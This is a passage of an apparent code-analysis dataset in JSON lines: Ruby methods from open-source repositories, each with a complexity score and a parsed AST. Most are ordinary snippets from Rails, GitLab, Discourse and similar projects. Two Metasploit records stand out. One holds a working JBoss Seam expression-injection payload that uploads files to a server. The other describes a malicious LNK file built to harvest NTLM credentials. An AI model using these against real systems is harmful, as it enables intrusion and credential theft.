"self\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"following_them_check\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Follows\"]},\"CheckCached\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followable_type\"]}]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followable_type\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"following_them_check\"]},\"to_s\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"following_you_check\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Follows\"]},\"CheckCached\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followable_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"following_them_check\"]},{\"type\":\"lvar\",\"children\":[\"following_you_check\"]}]},{\"type\":\"str\",\"children\":[\"mutual\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"following_you_check\"]},{\"type\":\"str\",\"children\":[\"follow-back\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"following_them_check\"]},\"to_s\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}]}","id":"8ee56951-4c4d-481f-85b0-9759947dbc31"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/rails3_route_processor.rb","start_line":27,"raw_source":"def process_call exp\n    case exp.method\n    when :resources\n      process_resources exp\n    when :resource\n      process_resource exp\n    when :root\n      process_root exp\n    when :member\n      process_default exp\n    when :get, :put, :post, :delete\n      process_verb exp\n    when :match\n      process_match exp\n    else\n      exp\n    end\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"process_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"process_resources\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[null,\"process_resource\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"send\",\"children\":[null,\"process_root\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"member\"]},{\"type\":\"send\",\"children\":[null,\"process_default\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"sym\",\"children\":[\"put\"]},{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"send\",\"children\":[null,\"process_verb\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[null,\"process_match\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}","id":"8c3da530-d216-4177-8920-e47a0948a236"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule_worker/runner.rb","start_line":480,"raw_source":"def rufus_add_schedule(options = {})\n    return if options.blank?\n    unless @user_scheduler.respond_to?(options[:method])\n      raise _(\"invalid method: %{options}\") % {:options => options[:method]}\n    end\n\n    Array.wrap(options[:tags]) << CLASS_TAG\n    @schedules[:scheduler] ||= []\n    if options[:months]\n      rufus_add_monthly_schedule(options)\n    else\n      rufus_add_normal_schedule(options)\n    end\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rufus_add_schedule\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user_scheduler\"]},\"respond_to?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"invalid method: %{options}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tags\"]}]}]},\"<<\",{\"type\":\"const\",\"children\":[null,\"CLASS_TAG\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@schedules\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scheduler\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"months\"]}]},{\"type\":\"send\",\"children\":[null,\"rufus_add_monthly_schedule\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"rufus_add_normal_schedule\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"7d819b3e-db2a-484f-a887-9cec21143dec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/jboss_seam_upload_exec.rb","start_line":177,"raw_source":"def upload_file_chunk(filename, append = 'false', chunk)\n    # create URL-safe Base64-encoded version of chunk\n    b64 = Rex::Text.encode_base64(chunk)\n    b64 = b64.gsub(\"+\", \"%2b\")\n    b64 = b64.gsub(\"/\", \"%2f\")\n\n    uri = target_uri.path\n    res = send_request_cgi(\n      {\n        'uri' => normalize_uri(uri),\n        'method' => 'POST',\n        'ctype' => datastore['CTYPE'],\n        'agent' => datastore['AGENT'],\n        'data' => \"actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=\" + b64\n      }, timeout = datastore['TIMEOUT']\n    )\n    if (res and res.code == 302 and res.headers['Location'])\n      # TODO Including the conversationId part in this regex might cause\n      # failure on other Seam applications.  Needs more testing\n      if (res.headers['Location'] =~ %r(user=&conversationId))\n        # vprint_status(\"#{rhost}:#{rport} Exploit successful.\")\n        return true\n      else\n        # vprint_status(\"#{rhost}:#{rport} Exploit failed\")\n        return false\n      end\n    else\n      # vprint_status(\"#{rhost}:#{rport} Exploit failed\")\n      return false\n    end\n  end","complexity_score":35.75,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_file_chunk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"optarg\",\"children\":[\"append\",{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"b64\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b64\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"str\",\"children\":[\"%2b\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b64\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"%2f\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CTYPE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"agent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AGENT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"').replaceAll('\\\\\\\\\\\\\\\\','/'),\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"append\"]}]},{\"type\":\"str\",\"children\":[\").write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"b64\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"user=&conversationId\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"c234e68c-b2f2-4dfb-9417-85177f4931a6"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1142,"raw_source":"def test_assert_performed_jobs_too_few_sent\n      error = assert_raise ActiveSupport::TestCase::Assertion do\n        assert_performed_jobs 2 do\n          HelloJob.perform_later(\"xavier\")\n        end\n      end\n\n      assert_match(/2 .* but 1/, error.message)\n    end","complexity_score":8.93,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_performed_jobs_too_few_sent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_performed_jobs\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"xavier\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"2 .* but 1\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"97eb96c7-97b7-4cff-aa57-c1d9625a275d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/final_destination/ssrf_detector.rb","start_line":81,"raw_source":"def self.host_bypasses_checks?(hostname)\n      allowed_internal_hosts.any? { |h| h.downcase == hostname.downcase }\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"host_bypasses_checks?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hostname\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_internal_hosts\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"downcase\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},\"downcase\"]}]}]}]}","id":"db1df655-e7de-4e05-bdf7-eeb1e46dc104"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/related_branches_service.rb","start_line":7,"raw_source":"def execute(issue)\n      branch_names_with_mrs = branches_with_merge_request_for(issue)\n      branches = branches_with_iid_of(issue).reject { |b| branch_names_with_mrs.include?(b[:name]) }\n\n      branches.map { |branch| branch_data(branch) }\n    end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branch_names_with_mrs\",{\"type\":\"send\",\"children\":[null,\"branches_with_merge_request_for\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"branches\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branches_with_iid_of\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch_names_with_mrs\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branches\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"send\",\"children\":[null,\"branch_data\",{\"type\":\"lvar\",\"children\":[\"branch\"]}]}]}]}]}","id":"451e4022-1813-45dc-994f-3ec0ff8851d5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak',\n        'Description' => %q{\n          This module creates a malicious Windows shortcut (LNK) file that\n          specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)\n          that can trigger an authentication attempt to a remote server. This can be used\n          to harvest NTLM authentication credentials.\n\n          When a victim browse to the location of the LNK file, it will attempt to\n          connect to the the specified UNC path, resulting in an SMB connection that\n          can be captured to harvest credentials.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Nafiez', # Original POC & MSF Module\n        ],\n        'References' => [\n          ['URL', 'https://zeifan.my/Right-Click-LNK/']\n        ],\n        'Platform' => 'win',\n        'Targets' => [\n          ['Windows', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2025-05-16',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options([\n\n      OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),\n      OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]),\n      OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10])\n    ])\n  end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module creates a malicious Windows shortcut (LNK) file that\\n\"]},{\"type\":\"str\",\"children\":[\"          specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)\\n\"]},{\"type\":\"str\",\"children\":[\"          that can trigger an authentication attempt to a remote server. This can be used\\n\"]},{\"type\":\"str\",\"children\":[\"          to harvest NTLM authentication credentials.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          When a victim browse to the location of the LNK file, it will attempt to\\n\"]},{\"type\":\"str\",\"children\":[\"          connect to the the specified UNC path, resulting in an SMB connection that\\n\"]},{\"type\":\"str\",\"children\":[\"          can be captured to harvest credentials.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nafiez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://zeifan.my/Right-Click-LNK/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2025-05-16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DESCRIPTION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The shortcut description\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ICON_PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The icon path to use (not necessary using real ICON)\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"PADDING_SIZE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Size of padding in command arguments\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}","id":"1e11b790-fe04-42cf-baef-6b767be39125"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/app/workers/cron/check_deploy_status_job.rb","start_line":202,"raw_source":"def handle_request_error(res, error_prefix)\n      if res.is_a? HTTPX::ErrorResponse\n        OpenProject.logger.error \"#{error_prefix}: #{res.error}\"\n      elsif res.status == 404\n        OpenProject.logger.error \"#{error_prefix}: not found\"\n      elsif res.status == 401\n        # raise so we notice this in AppSignal and can fix it\n        raise DeployCheckAccessTokenExpired, \"response: #{res.body}\"\n      elsif res.status != 200\n        OpenProject.logger.error \"#{error_prefix}: #{res.body}\"\n      else\n        return false\n      end\n\n      true\n    end","complexity_score":28.15,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_request_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]},{\"type\":\"arg\",\"children\":[\"error_prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTPX\"]},\"ErrorResponse\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_prefix\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"error\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"status\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_prefix\"]}]},{\"type\":\"str\",\"children\":[\": not found\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"status\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DeployCheckAccessTokenExpired\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"response: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"status\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_prefix\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"a7f64d1a-50bb-4d5e-a6a2-fca6b3dce6ab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/job_container.rb","start_line":83,"raw_source":"def remove_job(inst)\n    self.delete(inst.jid.to_s)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inst\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inst\"]},\"jid\"]},\"to_s\"]}]}]}","id":"d041f003-408a-4179-adb0-f2dcf6524289"}
